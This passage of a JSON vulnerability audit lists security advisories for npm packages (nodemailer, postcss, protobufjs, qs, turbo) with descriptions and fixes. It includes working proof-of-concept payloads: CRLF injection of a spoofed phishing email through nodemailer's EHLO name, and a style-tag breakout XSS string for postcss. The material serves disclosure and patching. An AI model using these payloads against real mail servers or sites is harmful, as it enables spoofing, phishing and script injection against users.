+ "details": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand('EHLO ' + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + '\\r\\n', 'utf-8'));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require('nodemailer');\nconst net = require('net');\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n socket.write('220 test ESMTP\\r\\n');\n socket.on('data', data =\u003e {\n const lines = data.toString().split('\\r\\n').filter(l =\u003e l);\n lines.forEach(line =\u003e {\n console.log('SMTP CMD:', line);\n if (line.startsWith('EHLO') || line.startsWith('HELO'))\n socket.write('250 OK\\r\\n');\n else if (line.startsWith('MAIL FROM'))\n socket.write('250 OK\\r\\n');\n else if (line.startsWith('RCPT TO'))\n socket.write('250 OK\\r\\n');\n else if (line === 'DATA')\n socket.write('354 Go\\r\\n');\n else if (line === '.')\n socket.write('250 OK\\r\\n');\n else if (line === 'QUIT')\n { socket.write('221 Bye\\r\\n'); socket.end(); }\n else if (line === 'RSET')\n socket.write('250 OK\\r\\n');\n });\n });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n const port = server.address().port;\n\n // Inject a complete phishing email via EHLO name\n const transport = nodemailer.createTransport({\n host: '127.0.0.1',\n port: port,\n secure: false,\n name: 'legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n'\n + 'RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n'\n + 'From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n'\n + 'Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET'\n });\n\n transport.sendMail({\n from: 'legit@example.com',\n to: 'legit-recipient@example.com',\n subject: 'Normal email',\n text: 'Normal content'\n }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, '');\n```",
+ "id": "GHSA-vvjj-xcjg-gr5g",
+ "modified": "2026-04-09T18:14:24.379591153Z",
+ "published": "2026-04-08T15:05:20Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nodemailer/nodemailer"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5"
+ }
+ ],
+ "related": [
+ "CGA-hcg3-qr46-wxcm"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) "
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "postcss",
+ "version": "8.4.31",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-qx2v-qp2m-jg93"
+ ],
+ "aliases": [
+ "CVE-2026-41305",
+ "GHSA-qx2v-qp2m-jg93"
+ ],
+ "max_severity": "6.1"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-qx2v-qp2m-jg93/GHSA-qx2v-qp2m-jg93.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "postcss",
+ "purl": "pkg:npm/postcss"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "8.5.10"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-41305"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-24T15:31:42Z",
+ "nvd_published_at": "2026-04-24T03:16:11Z",
+ "severity": "MODERATE"
+ },
+ "details": "# PostCSS: XSS via Unescaped `\u003c/style\u003e` in CSS Stringify Output\n\n## Summary\n\nPostCSS v8.5.5 (latest) does not escape `\u003c/style\u003e` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `\u003cstyle\u003e` tags, `\u003c/style\u003e` in CSS values breaks out of the style context, enabling XSS.\n\n## Proof of Concept\n\n```javascript\nconst postcss = require('postcss');\n\n// Parse user CSS and re-stringify for page embedding\nconst userCSS = 'body { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }';\nconst ast = postcss.parse(userCSS);\nconst output = ast.toResult().css;\nconst html = `\u003cstyle\u003e${output}\u003c/style\u003e`;\n\nconsole.log(html);\n// \u003cstyle\u003ebody { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }\u003c/style\u003e\n//\n// Browser: \u003c/style\u003e closes the style tag, \u003cscript\u003e executes\n```\n\n**Tested output** (Node.js v22, postcss v8.5.5):\n```\nInput: body { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }\nOutput: body { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }\nContains \u003c/style\u003e: true\n```\n\n## Impact\n\nImpact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.\n\n## Suggested Fix\n\nEscape `\u003c/style` in all stringified output values:\n```javascript\noutput = output.replace(/\u003c\\/(style)/gi, '\u003c\\\\/$1');\n```\n\n## Credits\nDiscovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))",
+ "id": "GHSA-qx2v-qp2m-jg93",
+ "modified": "2026-05-06T17:44:15.783349140Z",
+ "published": "2026-04-24T15:31:42Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41305"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/postcss/postcss"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/postcss/postcss/releases/tag/8.5.10"
+ }
+ ],
+ "related": [
+ "CGA-jr2c-rgcp-7w5j"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "PostCSS has XSS via Unescaped \u003c/style\u003e in its CSS Stringify Output"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "protobufjs",
+ "version": "7.5.6",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "optional"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-jggg-4jg4-v7c6"
+ ],
+ "aliases": [
+ "CVE-2026-45740",
+ "GHSA-jggg-4jg4-v7c6"
+ ],
+ "max_severity": "5.3"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 7.5.7",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-jggg-4jg4-v7c6/GHSA-jggg-4jg4-v7c6.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "protobufjs",
+ "purl": "pkg:npm/protobufjs"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "7.5.8"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-jggg-4jg4-v7c6/GHSA-jggg-4jg4-v7c6.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "protobufjs",
+ "purl": "pkg:npm/protobufjs"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "8.0.0"
+ },
+ {
+ "fixed": "8.2.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-45740"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-674"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-19T16:21:33Z",
+ "nvd_published_at": "2026-05-13T16:17:00Z",
+ "severity": "MODERATE"
+ },
+ "details": "## Summary\n\nprotobufjs could recurse without a depth limit while expanding nested JSON descriptors through `Root.fromJSON()` and `Namespace.addJSON()`.\n\nA crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading.\n\n## Impact\n\nAn attacker who can provide JSON descriptors loaded by an application may be able to crash the process or otherwise cause schema loading to fail with a stack overflow.\n\nThis affects applications that load JSON descriptors from untrusted sources with affected versions.\n\n## Preconditions\n\n- The application must load JSON descriptor data influenced by an attacker.\n- The crafted descriptor must contain deeply nested `nested` namespace objects.\n- The affected `Root.fromJSON()` / `Namespace.addJSON()` descriptor expansion path must process the crafted input.\n\n## Workarounds\n\nAvoid loading untrusted protobuf JSON descriptors with affected versions. If immediate upgrade is not possible, reject excessively nested descriptor structures at an outer validation boundary where feasible, or isolate descriptor loading in a process that can be safely restarted.",
+ "id": "GHSA-jggg-4jg4-v7c6",
+ "modified": "2026-05-20T18:14:21.955161775Z",
+ "published": "2026-05-19T16:21:33Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45740"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/protobufjs/protobuf.js"
+ }
+ ],
+ "related": [
+ "CGA-9qrc-pm54-vxhw"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "protobufjs: Denial of Service via unbounded recursive JSON descriptor expansion"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "qs",
+ "version": "6.14.2",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-q8mj-m7cp-5q26"
+ ],
+ "aliases": [
+ "CVE-2026-8723",
+ "GHSA-q8mj-m7cp-5q26"
+ ],
+ "max_severity": "6.3"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 6.15.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-q8mj-m7cp-5q26/GHSA-q8mj-m7cp-5q26.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "qs",
+ "purl": "pkg:npm/qs"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "6.11.1"
+ },
+ {
+ "fixed": "6.15.2"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-8723"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-476"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-22T17:27:19Z",
+ "nvd_published_at": "2026-05-17T00:16:21Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Summary\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).\n\n### Details\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n```js\nobj = utils.maybeMap(obj, encoder);\n```\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n#### PoC\n\n```js\nconst qs = require('qs');\n\nqs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n// TypeError: Cannot read properties of null (reading 'length')\n// at encode (lib/utils.js:195:13)\n// at Object.maybeMap (lib/utils.js:322:37)\n// at stringify (lib/stringify.js:145:25)\n```\n\n#### Fix\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main`:\n\n```diff\n- obj = utils.maybeMap(obj, encoder);\n+ obj = utils.maybeMap(obj, function (v) {\n+ return v == null ? v : encoder(v);\n+ });\n```\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n### Affected versions\n\n`\u003e=6.11.1 \u003c=6.15.1`\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n### Impact\n\nApplication code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",
+ "id": "GHSA-q8mj-m7cp-5q26",
+ "modified": "2026-05-26T17:14:20.672533646Z",
+ "published": "2026-05-22T17:27:19Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8723"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/ljharb/qs"
+ }
+ ],
+ "related": [
+ "CGA-jh39-jp7p-mqmv"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "qs",
+ "version": "6.15.1",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-q8mj-m7cp-5q26"
+ ],
+ "aliases": [
+ "CVE-2026-8723",
+ "GHSA-q8mj-m7cp-5q26"
+ ],
+ "max_severity": "6.3"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 6.15.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-q8mj-m7cp-5q26/GHSA-q8mj-m7cp-5q26.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "qs",
+ "purl": "pkg:npm/qs"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "6.11.1"
+ },
+ {
+ "fixed": "6.15.2"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-8723"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-476"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-22T17:27:19Z",
+ "nvd_published_at": "2026-05-17T00:16:21Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Summary\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).\n\n### Details\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n```js\nobj = utils.maybeMap(obj, encoder);\n```\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n#### PoC\n\n```js\nconst qs = require('qs');\n\nqs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n// TypeError: Cannot read properties of null (reading 'length')\n// at encode (lib/utils.js:195:13)\n// at Object.maybeMap (lib/utils.js:322:37)\n// at stringify (lib/stringify.js:145:25)\n```\n\n#### Fix\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main`:\n\n```diff\n- obj = utils.maybeMap(obj, encoder);\n+ obj = utils.maybeMap(obj, function (v) {\n+ return v == null ? v : encoder(v);\n+ });\n```\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n### Affected versions\n\n`\u003e=6.11.1 \u003c=6.15.1`\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n### Impact\n\nApplication code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",
+ "id": "GHSA-q8mj-m7cp-5q26",
+ "modified": "2026-05-26T17:14:20.672533646Z",
+ "published": "2026-05-22T17:27:19Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8723"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/ljharb/qs"
+ }
+ ],
+ "related": [
+ "CGA-jh39-jp7p-mqmv"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "turbo",
+ "version": "1.13.4",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "dev"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-3qcw-2rhx-2726"
+ ],
+ "aliases": [
+ "CVE-2026-45772",
+ "GHSA-3qcw-2rhx-2726"
+ ],
+ "max_severity": "9.8"
+ },
+ {
+ "ids": [
+ "GHSA-hcf7-66rw-9f5r"
+ ],
+ "aliases": [
+ "CVE-2026-45773",
+ "GHSA-hcf7-66rw-9f5r"
+ ],
+ "max_severity": "5.1"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3qcw-2rhx-2726/GHSA-3qcw-2rhx-2726.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "turbo",
+ "purl": "pkg:npm/turbo"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.1.0"
+ },
+ {
+ "fixed": "2.9.14"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3qcw-2rhx-2726/GHSA-3qcw-2rhx-2726.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "@turbo/codemod",
+ "purl": "pkg:npm/%40turbo%2Fcodemod"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "2.3.4"
+ },
+ {
+ "fixed": "2.9.14"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3qcw-2rhx-2726/GHSA-3qcw-2rhx-2726.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "@turbo/workspaces",
+ "purl": "pkg:npm/%40turbo%2Fworkspaces"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "2.3.4"
+ },
+ {
+ "fixed": "2.9.14"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-45772"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-426"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-19T19:46:44Z",
+ "nvd_published_at": "2026-05-15T16:16:14Z",
+ "severity": "LOW"
+ },
+ "details": "### Impact \n\nTurborepo can be vulnerable to arbitrary code execution when run in untrusted repositories that contain malicious Yarn configuration. In affected versions, package manager detection executed `yarn --version` from the project directory, which could cause Yarn to load and execute a project-controlled `yarnPath` from `.yarnrc.yml`. An attacker who controls repository contents could cause code execution when a user or CI system runs affected `turbo`, `@turbo/codemod`, or `@turbo/workspace` conversion commands.\n\n### Fix \n\nTurbo now avoids executing project-local Yarn during package manager detection. Yarn versions and paths are inferred from metadata such as `package.json`, parsing the value of `yarnPath` in `.yarnrc.yml` rather than executing it, and `yarn.lock`, and unrecognized Yarn lockfile formats are rejected instead of falling back to executing `yarn`.\n\n### Workarounds \n\nIf you cannot upgrade immediately, do not run Turborepo commands in untrusted repositories. Review or remove `.yarnrc.yml` files that define `yarnPath` before running Turborepo, especially in CI or automated tooling that processes external projects.",
+ "id": "GHSA-3qcw-2rhx-2726",
+ "modified": "2026-05-27T17:44:19.747288997Z",
+ "published": "2026-05-19T19:46:44Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/turborepo/security/advisories/GHSA-3qcw-2rhx-2726"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45772"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/turborepo"
+ }
+ ],
+ "related": [
+ "CGA-pw99-w229-w688"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Turbo: Unexpected local code execution during Yarn Berry detection"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 2.9.13",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hcf7-66rw-9f5r/GHSA-hcf7-66rw-9f5r.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "turbo",
+ "purl": "pkg:npm/turbo"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.9.14"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-45773"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-352"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-19T19:49:52Z",
+ "nvd_published_at": "2026-05-15T16:16:15Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Impact\n\nTurborepo's self-hosted login and SSO browser flows did not validate a CSRF state value on the localhost callback. While the CLI was waiting for authentication, a malicious web page could send a request to the local callback server with an attacker-controlled token. If accepted before the legitimate callback, the CLI could complete login with the wrong credentials.\n\nThis affects users authenticating the `turbo` CLI against self-hosted remote cache/auth endpoints. Vercel-hosted login flows using device authorization are not affected.\n\n### Fix\n\nThe login and SSO redirect flows now generate a random state value, include it in the browser authentication URL, and require the same value on the localhost callback before accepting a token. Callbacks with a missing or mismatched state are rejected.\n\n### Workarounds\n\nIf you cannot upgrade immediately, avoid browser-based self-hosted `turbo login` or SSO flows on machines that may load untrusted web content during authentication. Use a pre-provisioned token or environment-based authentication instead.",
